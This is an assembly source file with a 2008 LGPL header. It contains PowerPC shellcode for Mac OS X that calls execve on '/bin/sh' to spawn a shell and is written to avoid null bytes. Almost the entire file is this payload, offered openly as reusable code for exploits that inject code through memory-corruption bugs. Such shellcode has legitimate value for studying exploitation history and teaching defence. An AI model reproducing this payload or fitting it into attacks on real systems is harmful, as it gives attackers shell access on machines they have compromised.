/*
 *  osx-ppc-shellcode.s
 *  Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
 *
 *  This library is free software; you can redistribute it and/or
 *  modify it under the terms of the GNU Lesser General Public
 *  License as published by the Free Software Foundation; either
 *  version 2.1 of the License, or (at your option) any later version.
 *
 *  This library is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 *  Lesser General Public License for more details.
 *
 *  You should have received a copy of the GNU Lesser General Public
 *  License along with this library; if not, write to the Free Software
 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
 *
 */

.global _start

_start:

# 00 bytes

shellcode:
    xor.    r5,r5,r5
    bnel    shellcode
    mflr    r31
    addi    r3,r31,32
    stwu    r5,-4(r1)
    stwu    r3,-4(r1)
    lr      r1,r4
    li      r0,59
    sc

.asciiz "/bin/sh"